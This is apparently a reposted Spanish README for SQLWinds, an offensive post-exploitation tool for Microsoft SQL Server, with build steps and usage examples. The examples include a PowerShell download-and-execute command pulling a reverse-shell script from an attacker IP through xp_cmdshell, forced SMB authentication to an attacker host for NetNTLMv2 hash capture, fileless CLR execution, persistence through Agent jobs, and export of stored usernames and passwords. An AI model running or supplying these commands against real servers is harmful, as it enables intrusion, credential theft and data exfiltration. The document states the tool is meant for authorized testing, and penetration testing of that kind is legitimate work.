SQLWinds

Kit de Evaluación de Seguridad y Post-Explotación para SQL

SQLWinds es una herramienta de línea de comandos para pruebas de seguridad y explotación de Microsoft SQL Server. Proporciona un entorno interactivo para analizar servidores en profundidad, escalar privilegios, ejecutar ataques y pivotar a través de redes, todo con comandos especializados para tareas como ejecución de código en memoria y exploración de bases de datos SCCM.

📖 Documentación y Recursos

Enlaces rápidos:

• Documentación completa y Wiki - Guía de uso completa y referencia de comandos
• Reportar un problema - ¿Encontraste un error o tienes una solicitud de función?
• Última versión - Descarga la versión más reciente

Características

• Autenticación diversa: Compatible con SQL, Windows integrado (--integrated) y delegación Kerberos (--kerberos con --user/--pass).
• Enumeración integral:
  • Información del servidor, bases de datos, tablas, columnas, usuarios y permisos.
  • Auditoría de configuración de seguridad (xp_cmdshell, CLR, OLE, etc.).
  • Descubrimiento de datos sensibles y extracción de secretos.
  • Enumeración y explotación de servidores vinculados.
• Post-explotación y movimiento lateral:
  • Ejecución de código: Habilita y usa xp_cmdshell, Procedimientos de Automatización OLE (sp_oacreate) e integración CLR.
  • CLR en memoria: Carga y ejecuta ensamblados .NET directamente desde la memoria sin escribir archivos en disco (:memclr).
  • Robo de credenciales: Fuerza la autenticación SMB a una ruta UNC para ataques de relay (:unc_smb).
  • Interacción con el registro: Lee claves y valores del registro mediante xp_regread.
  • Persistencia: Crea, lista y ejecuta Trabajos del Agente SQL.

Instalación y compilación

Compilación rápida

El repositorio incluye un script build.bat para compilar fácilmente en Windows:

.\build.bat

El ejecutable compilado SQLWinds.exe se ubicará en el directorio bin\Release\.

Compilación manual

1. Asegúrate de tener instalado .NET Framework (≥ 4.6.1) o el SDK de .NET.
2. Clona el repositorio:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. Compila la solución:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

Uso

Conexión básica

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

Opciones comunes de línea de comandos

Modo REPL interactivo

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

Referencia completa de comandos REPL

Ejemplo: Uso de :plain para scripts grandes

El comando :plain es esencial para ejecutar scripts SQL grandes de varias líneas.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. Escribe :plain y pulsa Enter.
2. Pega o escribe tu script SQL completo.
3. En una línea nueva, escribe :execute para ejecutar todo el script o :cancel para cancelar.

Ejemplos

1. Auditoría

SQLWinds.exe --server dc01 --integrated --security-audit 

2. Usar xp_cmdshell para ejecución de código

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. Ejecución CLR en memoria (sin archivos)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. Robo de hashes NetNTLMv2 mediante SRelay

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. Explotación de bases de datos SCCM

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. Exfiltración de datos

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 Contribuciones y soporte

¡Agradecemos las contribuciones! Si tienes ideas de mejoras o encuentras cualquier problema:

1. Consulta la Wiki para documentación
2. Busca en los Issues existentes para evitar duplicados
3. Crea un nuevo issue con información detallada sobre tu sugerencia o reporte de error

⚠️ Aviso legal

Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. Los desarrolladores no asumen ninguna responsabilidad y no son responsables de cualquier uso indebido o daño causado por este programa.

Créditos

Desarrollado por blue0x1.